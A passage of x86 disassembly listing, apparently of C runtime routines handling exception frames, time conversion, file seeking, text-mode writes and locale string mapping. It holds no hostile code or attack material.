		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2650000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 26709FBh
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 26709FBh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 26709FBh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801154h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
